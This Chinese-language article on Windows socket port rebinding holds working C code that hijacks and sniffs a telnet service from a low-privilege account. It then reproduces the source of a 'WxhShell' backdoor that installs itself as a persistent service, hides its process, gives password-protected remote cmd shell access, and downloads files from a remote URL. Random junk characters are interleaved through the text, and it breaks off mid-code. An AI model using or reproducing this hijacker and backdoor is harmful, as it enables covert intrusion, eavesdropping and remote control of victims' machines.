在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
T-'OwCB1q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|tKsgj AuvkecuIh saddr.sin_family = AF_INET;
FI)17i$
=rMUov h saddr.sin_addr.s_addr = htonl(INADDR_ANY);
n7zm>& K%,2=. bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
3(="YbZ >Rl" 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
&xU[E!2H% Df}A^G >X 这意味着什么?意味着可以进行如下的攻击:
j@AIK+0Qc .u)X3..J 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
;dkYf24 TYy?KG>:' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
h&M{]E9= B~'vCuE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
]tim,7s WQx?[tW(U 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
)Oq|amvC R8Wr^s>' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
1gE [v .ODU 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
]RZ|u*l=x R6 y#S&]x 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
=%BSKSG. ,L|%"K]yM #include
eln)BW# #include
\Q {m9fE #include
%p Ynnfr #include
E`kG-Q5Dw DWORD WINAPI ClientThread(LPVOID lpParam);
3#WT.4k int main()
CLxynZ\ ; {
1Rt33\1J0 WORD wVersionRequested;
GiJ *Wp DWORD ret;
1;JEc9#h WSADATA wsaData;
eJrQ\>z]V& BOOL val;
S%$ }( SOCKADDR_IN saddr;
<3oWEm SOCKADDR_IN scaddr;
bYcV$KJk int err;
\J4L:.`qS SOCKET s;
S:u:z=:r SOCKET sc;
:>rkG?NfL int caddsize;
D+#E-8 HANDLE mt;
H!@kO]?n DWORD tid;
KsddA wVersionRequested = MAKEWORD( 2, 2 );
imVo<Je7z( err = WSAStartup( wVersionRequested, &wsaData );
>;jZa if ( err != 0 ) {
9-sw!tKx printf("error!WSAStartup failed!\n");
AL[KpY return -1;
9,c(ysv" }
S\^Pha
q saddr.sin_family = AF_INET;
{k(g]#pP hl;u'_AB //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Juo^ , >R|/M`<ph saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
%3s1z<;R[S saddr.sin_port = htons(23);
!:)s"|= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&C:IX\ {
s'3
s^Dd printf("error!socket failed!\n");
uY0lR:| return -1;
Ih@61>X.o* }
.4S.>~^7 val = TRUE;
*$#W]bO //SO_REUSEADDR选项就是可以实现端口重绑定的
u]:oZMnj if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
u+dLaVlLJ {
%J#YM'g printf("error!setsockopt failed!\n");
;$HftG>B return -1;
K:J3Z5" }
3N8t`N //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
QemyCCP+ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
>3ZFzh&OYQ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
AWcLUe { _ "E$v&_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ag;Q F {
{baq+ ret=GetLastError();
r`$OO,W printf("error!bind failed!\n");
JR' return -1;
(XVw"m/ye }
8<5]\X listen(s,2);
+\x,HsUc" while(1)
oVnvO iAc {
JELTo u caddsize = sizeof(scaddr);
C,wL0Yj[ //接受连接请求
'QJ:`)z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
:v0U|\j8/V if(sc!=INVALID_SOCKET)
Q_1:tW
& {
czA5n mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Y5f1lUT if(mt==NULL)
A8xvo/n$ {
s kvGU(G} printf("Thread Creat Failed!\n");
i3dkYevs? break;
B3: ez
jj }
=MSr/ O2 }
bW$,?8( CloseHandle(mt);
x`U^OLV }
tG:25 T0 closesocket(s);
ICpAt~3[M WSACleanup();
i% w3 /m return 0;
dFRsm0T }
mGtdO/C#B DWORD WINAPI ClientThread(LPVOID lpParam)
*7:>EP {
5rwu!Y;7* SOCKET ss = (SOCKET)lpParam;
`V=N*hv` SOCKET sc;
nR7d4) unsigned char buf[4096];
W~6EEyD% SOCKADDR_IN saddr;
eds o2 long num;
%u? ># DWORD val;
.O74V~T DWORD ret;
*e<[SZzYZ //如果是隐藏端口应用的话,可以在此处加一些判断
Bs13^^hu //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
J\/cCW-rF saddr.sin_family = AF_INET;
6TYY
UM"& saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+?F[/?s5qz saddr.sin_port = htons(23);
[6 pD if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
yGI;ye'U {
46$._h
P printf("error!socket failed!\n");
XO`0>^g return -1;
TBs|r# }
}d&_q7L@@6 val = 100;
N<|@ymi if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
N6>(;ugJ1- {
j:<n+:HC ret = GetLastError();
e_#._Pi return -1;
QXL'^uO }
yQU_>_!n if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
o%v0h~tn {
kr+D,h01 ret = GetLastError();
b$4"i XSQ return -1;
\Npxv }
0Z~p%C<LW if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
q_TRq:&. {
,X#2\r<| printf("error!socket connect failed!\n");
?!;7:VIE closesocket(sc);
S)lkz'tdk closesocket(ss);
?a8^1: return -1;
9zZr^{lUl }
0":ib0= while(1)
M|6A0m#Q {
t5[#x4
p //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
sA/pVU //如果是嗅探内容的话,可以再此处进行内容分析和记录
`)`
n(B //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
h^?\xm| num = recv(ss,buf,4096,0);
[f)cL6AeF if(num>0)
*194{ ep send(sc,buf,num,0);
K&bzDzd ` else if(num==0)
(mgS"zPS break;
*;1,5L num = recv(sc,buf,4096,0);
C3eR)Yh if(num>0)
XaCX!Lr, send(ss,buf,num,0);
W=vG$ else if(num==0)
j:5=s%S break;
9XPo3; }
:e]a$ closesocket(ss);
8C[C{qOJ closesocket(sc);
p!>oo1& return 0 ;
]+(6,ct&. }
}vZ+A
_(Sa4Vb=Q6 .l>77zM6 ==========================================================
f%Ns[S~ r &0='r;*i 下边附上一个代码,,WXhSHELL
U@gn;@\ wp#'nO ==========================================================
eCN })An Y]NSN-t #include "stdafx.h"
=4[v3Qx ABF"~=aL #include <stdio.h>
Y<mej][ #include <string.h>
MNC*Glj= #include <windows.h>
z8QAo\_I( #include <winsock2.h>
Qy.w=80kf #include <winsvc.h>
%ZNI:Uh #include <urlmon.h>
E_k$W5 3{ LP?w:@ #pragma comment (lib, "Ws2_32.lib")
zhpx"{_ #pragma comment (lib, "urlmon.lib")
hCCiD9gz 86(I^= #define MAX_USER 100 // 最大客户端连接数
vWRju*Z& #define BUF_SOCK 200 // sock buffer
dQ_!)f&w1 #define KEY_BUFF 255 // 输入 buffer
j<u@j+V @\0Eu212 #define REBOOT 0 // 重启
R($KSui #define SHUTDOWN 1 // 关机
\=uKHNP?# q8s0AN'@t' #define DEF_PORT 5000 // 监听端口
0o+6Q8q %F!1 #define REG_LEN 16 // 注册表键长度
Gs9:6 #define SVC_LEN 80 // NT服务名长度
<z]cyXv/ }RmU%IYc // 从dll定义API
x*?x=^I{ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
pV20oSJNt typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%;e/7`>Ma typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
oN{Z+T : typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
c}y [[EX /h*>P:i]. // wxhshell配置信息
5D_fXfx_| struct WSCFG {
R$[#+X! int ws_port; // 监听端口
U}MXT<6 char ws_passstr[REG_LEN]; // 口令
{)
Q@c)' int ws_autoins; // 安装标记, 1=yes 0=no
e
' 2F# char ws_regname[REG_LEN]; // 注册表键名
2'_:S@ char ws_svcname[REG_LEN]; // 服务名
enp)-nS0 char ws_svcdisp[SVC_LEN]; // 服务显示名
5Cq{XcXV char ws_svcdesc[SVC_LEN]; // 服务描述信息
o3I Tr'; char ws_passmsg[SVC_LEN]; // 密码输入提示信息
7Garnd b int ws_downexe; // 下载执行标记, 1=yes 0=no
I9:Cb)hbU] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
j:E<p_T char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Q(<)KZIK &jsVw)Ue };
J.ck~;3 COW}o~3-4 // default Wxhshell configuration
wvbPnf^y struct WSCFG wscfg={DEF_PORT,
AgFVv5 "xuhuanlingzhe",
<5NF; 1,
{_S}H1, "Wxhshell",
=,Dqqf "Wxhshell",
,`gl&iB "WxhShell Service",
<^zHE=h" "Wrsky Windows CmdShell Service",
=Qgt${| "Please Input Your Password: ",
yil[gPy4B 1,
>2,Gy-&"0 "
http://www.wrsky.com/wxhshell.exe",
\hhmVt@@ "Wxhshell.exe"
[1F*bI };
l2l(_$@3 6(G?MW. // 消息定义模块
%,Ap7X3:QT char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
DwrO JIy char *msg_ws_prompt="\n\r? for help\n\r#>";
(;q\}u char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
_>9.v%5cs( char *msg_ws_ext="\n\rExit.";
xfb]b2 char *msg_ws_end="\n\rQuit.";
x\J#]d. char *msg_ws_boot="\n\rReboot...";
#Sa27$&.> char *msg_ws_poff="\n\rShutdown...";
r=6v`)Qr char *msg_ws_down="\n\rSave to ";
2n `S5(V VY)9|JJCO char *msg_ws_err="\n\rErr!";
h=(DX5:A char *msg_ws_ok="\n\rOK!";
oiX+l5`pz ppFe-wY char ExeFile[MAX_PATH];
Sr%;fq int nUser = 0;
T'LIrf HANDLE handles[MAX_USER];
$ZNu+tn
Y int OsIsNt;
TpHfS]W-P D<V~f B SERVICE_STATUS serviceStatus;
jK' N((Hz SERVICE_STATUS_HANDLE hServiceStatusHandle;
j%y$_9a7 Op>%?W8/UF // 函数声明
TEMw8@b int Install(void);
<0S,Q+& int Uninstall(void);
Gkp<o int DownloadFile(char *sURL, SOCKET wsh);
H)>@/"j; int Boot(int flag);
:"l-KQ0 void HideProc(void);
fgBM_c&9T int GetOsVer(void);
59#lU~Kv int Wxhshell(SOCKET wsl);
]ix!tb.Q void TalkWithClient(void *cs);
Bf$_XG3
int CmdShell(SOCKET sock);
XXh6^@H= int StartFromService(void);
SL,p36N int StartWxhshell(LPSTR lpCmdLine);
|QMhMGjV gq"gUaz VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
XEdzpkB VOID WINAPI NTServiceHandler( DWORD fdwControl );
Zr-U&9.` i,|0@Vy // 数据结构和表定义
tOOchu?= SERVICE_TABLE_ENTRY DispatchTable[] =
HmZ{L +" {
y2+p1 {wscfg.ws_svcname, NTServiceMain},
8@PX7!9 {NULL, NULL}
!wWJ^Oz= };
V~
TWKuR ;/0 Q1- // 自我安装
cW{1
Pz^_ int Install(void)
]q6;#EUr? {
/"?HZ% W char svExeFile[MAX_PATH];
meCC?YAB HKEY key;
m~>Y{F2 strcpy(svExeFile,ExeFile);
3mSXWl^? gN>2xnh'm // 如果是win9x系统,修改注册表设为自启动
jr)7kP@ if(!OsIsNt) {
/5#rADOS if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
4pln5v= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ncSFj.}w] RegCloseKey(key);
9m-)Xdoy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
k64."*X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8k^|G RegCloseKey(key);
S=xA[%5 return 0;
C_ \q?> }
fS:1^A2, }
3b YCOqG }
Nk[2nyeO> else {
\3Q&~j i_kE^SSgm // 如果是NT以上系统,安装为系统服务
5~.ZlGd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
vfNAs>X g" if (schSCManager!=0)
5VO;s1 {
&wU'p-V SC_HANDLE schService = CreateService
x'zBK0i (
uHIiH@S schSCManager,
b7/AnSR~Jt wscfg.ws_svcname,
f,z P* wscfg.ws_svcdisp,
%hN.ktZ/s SERVICE_ALL_ACCESS,
dDDGM:] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{"vkji> SERVICE_AUTO_START,
`p'Q7m2y/b SERVICE_ERROR_NORMAL,
efG6v svExeFile,
n}mR~YqD NULL,
eh*6cQ.0 NULL,
E1&b#TE6O NULL,
+Ug/rtK4 NULL,
81%8{yn!$" NULL
@FN*TJ );
|xoF49 if (schService!=0)
D^U:
ih {
d/74{. CloseServiceHandle(schService);
j%V["?) CloseServiceHandle(schSCManager);
as+GbstN strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
zciCcrJ strcat(svExeFile,wscfg.ws_svcname);
i{^Z1;Yl if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
-xg2q
V\c RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]ALc;lb-} RegCloseKey(key);
}]UB;id' return 0;
i77GE }
%b?$@H-Re }
H ftxS CloseServiceHandle(schSCManager);
nsb4S{ }
QO{y/{ }
zHfP+(ah /cFzotr"9 return 1;
#kkY@k$4 }
M!M!Ni [O
", // 自我卸载
6qo^2 int Uninstall(void)
aH_6s4+: {
4y}"Hy HKEY key;
W&"|}Pi/ Uf*EJ1Ei if(!OsIsNt) {
S06Hs~>Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}iBC@`mg( RegDeleteValue(key,wscfg.ws_regname);
t@?u RegCloseKey(key);
/DS?}I.*] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
w-N1.^ RegDeleteValue(key,wscfg.ws_regname);
S\NL+V?7h RegCloseKey(key);
M] V.!z9B return 0;
FdOFE.l }
w8~K/>!f }
|`yZIY_ }
L$v^afP? else {
`BZ&~vJ_ &[|VZ[ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
b 1^n KB if (schSCManager!=0)
vC/[^ {
y@ek=fT%4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
M"^K0 . if (schService!=0)
ES:!Vx9t0| {
BZ+-p5]- if(DeleteService(schService)!=0) {
`kBnSi o~ CloseServiceHandle(schService);
K3$`
Kv>I CloseServiceHandle(schSCManager);
`QP
~ return 0;
msTB'0 }
73NZ:h%= CloseServiceHandle(schService);
v1[_}N9f>H }
+`| *s3M CloseServiceHandle(schSCManager);
yDd[e]zS` }
CVKnTEs }
Fq,N 4B O %{ return 1;
/-*hjX$n }
^3I'y
UsY ~\_T5/I% // 从指定url下载文件
nTnRGf\T int DownloadFile(char *sURL, SOCKET wsh)
}B!cv{{ {
=q
CF%~ HRESULT hr;
whkJ pK(
char seps[]= "/";
XdIah<F2 char *token;
m3
IP7h' char *file;
{gkwOMW char myURL[MAX_PATH];
]O{_O&w char myFILE[MAX_PATH];
d?Y-;-|8Qh nmE5]Pcg strcpy(myURL,sURL);
*%- ?54B token=strtok(myURL,seps);
5j[#'3TSU while(token!=NULL)
~w.2-D {
DzDj)7 file=token;
C6k4g75U2 token=strtok(NULL,seps);
U )Zt-og }
m6so]xr h(:<(o@< GetCurrentDirectory(MAX_PATH,myFILE);
i:Mc(mW strcat(myFILE, "\\");
p?Sl}A@` strcat(myFILE, file);
Qb@eK$wo} send(wsh,myFILE,strlen(myFILE),0);
d^aNR
Lv send(wsh,"...",3,0);
fPE ?hG<x hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
mU]s7` %<> if(hr==S_OK)
i:k-" return 0;
eY3=|RR else
<d!6[,W; return 1;
XtW_ 6lU|mJ`M }
8kbBz Jk*QcEE= // 系统电源模块
C={mi#G[/ int Boot(int flag)
1~EO+ {
@zs1>\J7 HANDLE hToken;
{,v:
GMsm TOKEN_PRIVILEGES tkp;
0WS|~?OR@ 5&%fkZ0 if(OsIsNt) {
q]ZSjJ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
z[biK|YL LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
62NkU)u tkp.PrivilegeCount = 1;
lVT&+r~r tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^je528%H AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
[Pqn3I[ if(flag==REBOOT) {
\)GR\~z0h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
J(hA^;8: return 0;
&:#A+4& }
8q*";>* else {
V
Qh/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
w=$'Lt! return 0;
k) 3s? }
f~v"zT }
.J:;_4x else {
kpWzMd &RK if(flag==REBOOT) {
}(cY| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
64b<0;~ return 0;
\3:
L Nt }
BUV/twU) else {
~RCg.&[ou if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
#\0TxG5'QA return 0;
5d(qtFH1 }
P_mi)@ }
"bi != c-|kv[\a return 1;
uh1S
7!^ }
KDX$.$# -2z,cj&E{ // win9x进程隐藏模块
k5g@myb- void HideProc(void)
oN4G1U
Kc {
VZIKjrKs =}"R5 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
h2AGEg'g2[ if ( hKernel != NULL )
{DSyV: {
YI/{TL8*KK pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
([1=> Jw" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
)'=V!H#U* FreeLibrary(hKernel);
cu:-MpE }
NuIT{3S TdNsyr}JG return;
ZHb7+ }
( e0_RQ 8b{U
tT // 获取操作系统版本
kGruo5A int GetOsVer(void)
xP42xv9U {
{a[Uv OSVERSIONINFO winfo;
}WA<=9e winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
:l4^iSf GetVersionEx(&winfo);
)Kxs@F if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
i_|h{JK) return 1;
<xXiJU+ else
bJANZn|H return 0;
>\Z lZ }
Pkj T&e) b8eDD+ul k // 客户端句柄模块
}R4(B2vup int Wxhshell(SOCKET wsl)
q$bHO {
[kVpzpGr SOCKET wsh;
=;kRk.qzy struct sockaddr_in client;
o]dK^[/* DWORD myID;
'\Qf,%%. t)YFTO"Jj while(nUser<MAX_USER)
muW`pm {
": mCZUt int nSize=sizeof(client);
8''9@xz wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
@\#'oIc| if(wsh==INVALID_SOCKET) return 1;
Sr4dY`V*:z
['Hp?Q|k handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ZJ;wRd@ if(handles[nUser]==0)
.;]YJy closesocket(wsh);
V22q*/iV else
F!
|TW6)gv nUser++;
AaJ,=eQ }
\r:m({G WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
9{auleu
R 3(oZZz return 0;
X; e`y:9 }
|6\FI? :
OSmr // 关闭 socket
\c5#\1< void CloseIt(SOCKET wsh)
6)tB{:h&~0 {
UXcH";*9b closesocket(wsh);
mtiO7w"M\7 nUser--;
+z~!#j4Q ExitThread(0);
p,_6jdz }
%[+a[/ X^?|Sz<^E // 客户端请求句柄
')Dp%"\? void TalkWithClient(void *cs)
8`R +y {
b |o`Q7Hj x"zjN'| SOCKET wsh=(SOCKET)cs;
//`cwnjp char pwd[SVC_LEN];
a:(: :m char cmd[KEY_BUFF];
YUP%K!k char chr[1];
hi4h0\L!} int i,j;
q9g[+*9]$ mE3SiR " while (nUser < MAX_USER) {
{7ZtOe YiY&;)w if(wscfg.ws_passstr) {
m=("N if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}
Y7W1$he //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R9|2&pfm(M //ZeroMemory(pwd,KEY_BUFF);
c:`` Y: i=0;
h1G*y while(i<SVC_LEN) {
%O4}i@Fe 5pKvNLy.t // 设置超时
iA^+/Lt fd_set FdRead;
~T p8>bmSR struct timeval TimeOut;
#sm_.?P FD_ZERO(&FdRead);
-KU)7V FD_SET(wsh,&FdRead);
yjM@/b TimeOut.tv_sec=8;
a2klOX{ TimeOut.tv_usec=0;
[Q.4]K2 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
wn A%Nh7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
'%]@a7w W2W2WyPk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
6yl;o_6: pwd
=chr[0]; h3;o!FF
if(chr[0]==0xd || chr[0]==0xa) { 8#d1}Y
pwd=0; C^\*|=*\
break; sP3.s_U^
} ~QEXB*X-g'
i++; Kn!0S<ssR
} jhEg#Q$
s2kZZP8-
// 如果是非法用户,关闭 socket :(?hLH.W[
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zcD_}t_K
} rJc)<OZjT
;MRC~F=
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l
SVW}t
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dD.d?rnZq7
eE.5zXU3R
while(1) { C +?@iMh
g0:4zeL
ZeroMemory(cmd,KEY_BUFF); Wru
Fp
\gI:`>-
x
// 自动支持客户端 telnet标准 VgZaDd;
j=0; (P>eWw\0
while(j<KEY_BUFF) { kFIB lPV
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,M/#Q6P0}
cmd[j]=chr[0]; D>7_P7]y
if(chr[0]==0xa || chr[0]==0xd) { 7U[L\1zS
cmd[j]=0; iZq@W3GL
C
break; xjhAAM
} r(in]7
j++; 9X{nJ"
} k@";i4}A
2eR+dT
// 下载文件 T;[c<gc/
if(strstr(cmd,"http://")) { mv%:[+!
send(wsh,msg_ws_down,strlen(msg_ws_down),0); t|U2ws#
if(DownloadFile(cmd,wsh)) <sCq
x/L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); On.x~t
else $-9@ /%Y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wAOVH].
} z vylL
M
else { +-!|%jG`%v
q}F%o0
switch(cmd[0]) { dbUZGn~
PUZXmnB
// 帮助 ;1g-z]
case '?': { rWfurB5f
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ryp$|?ckJ
break; [`-O-?=
} ?M-8Fp3 +
// 安装 l
75{JxZX
case 'i': { I.0P7eA-
if(Install()) s>``-
]3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a={qA4N
else Cbg#Yz~/
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -zLI!F 0
break; I+d(r"N1
} %PdYv _5
// 卸载 s1\BjSzk
case 'r': { dlzamoS@AR
if(Uninstall()) g7LW?Ewr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bl>b/u7/6
else HWfX>Vf>}k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y9L6W+=T
break; ;,-Vapz
} *#^1rKGWK
// 显示 wxhshell 所在路径 HgATH
case 'p': { 5t#]lg[06'
char svExeFile[MAX_PATH]; Y <k,E
strcpy(svExeFile,"\n\r"); to|9)\
strcat(svExeFile,ExeFile); :Sn3|`HDm
send(wsh,svExeFile,strlen(svExeFile),0); OwIy(ukTI
break; "EhO )lR
} Jv.R?1;8i
// 重启 .);:K
case 'b': { @CI6$
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5t?2B]
if(Boot(REBOOT)) j4r,_lH^r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >b?)WNk
else { xi. KD
closesocket(wsh); ,4W((OQ^
ExitThread(0); []!r|R3
} I8;[DP9
break; &*GX:0=/>
} c!^}!32j)
// 关机 H^:|`T|,
case 'd': { X
hX'*{3k
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qb{5*>
if(Boot(SHUTDOWN)) |6^ K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "q/M8
else { 4H)"d
closesocket(wsh); u*N8s[s'
ExitThread(0); {~I_rlo n
} 7zZ|=W?&{
break; M?zAkHNS$
} hP<qK Vy
// 获取shell @\}36y
case 's': { 1u+(rVQN
CmdShell(wsh); Kp8T;&<Iay
closesocket(wsh); i]?xM2(N
ExitThread(0); @0'|Uygn
break; H H3
} C~V$G}mM
// 退出 S\!E;p
case 'x': { w/6@R 4)p
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P<x
CloseIt(wsh); In
M'zAhb
break; L]<4{8H.
} mP[u[|]
// 离开 f"^tOgGH
case 'q': { N&`ay{&`:
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ??V["o T
closesocket(wsh); TeqsP1{?
WSACleanup();
|?A-?-
exit(1); e*s{/a?,
break; Dx'e+Bm
} y8z%s/gRh
} zUqDX{I8
} l:f
sZO4
j3&*wU_
// 提示信息 Y&:i^k
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }L9j`17
} Din)5CxFX
} nVzo=+Yp
Y\sjm]_
return; "QS7?=>*F
} m@~x*+Iz
e,8-P-h~T
// shell模块句柄 j83
V$
Le
int CmdShell(SOCKET sock) CI{x/ e^(
{ T1=M6iJ
STARTUPINFO si; uLF55:`<
ZeroMemory(&si,sizeof(si)); e_TDO
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =w-H )
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]XU#i#;c
PROCESS_INFORMATION ProcessInfo; [_n|n"M
char cmdline[]="cmd"; 4>* `26
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); aDuanGC/V
return 0; mN02T@R-
} YSyW '~!b
-S@:
// 自身启动模式 Di*>PE@
int StartFromService(void) <lR8MqjM_
{ r$5!KO
typedef struct 9 lv2
{ o1\8>Ew
DWORD ExitStatus; &&O=v]6,V
DWORD PebBaseAddress; )
|vFrR
DWORD AffinityMask; v(`$%V.
DWORD BasePriority; /
yCV-L2J
ULONG UniqueProcessId; l<0V0R(
ULONG InheritedFromUniqueProcessId; 14RL++
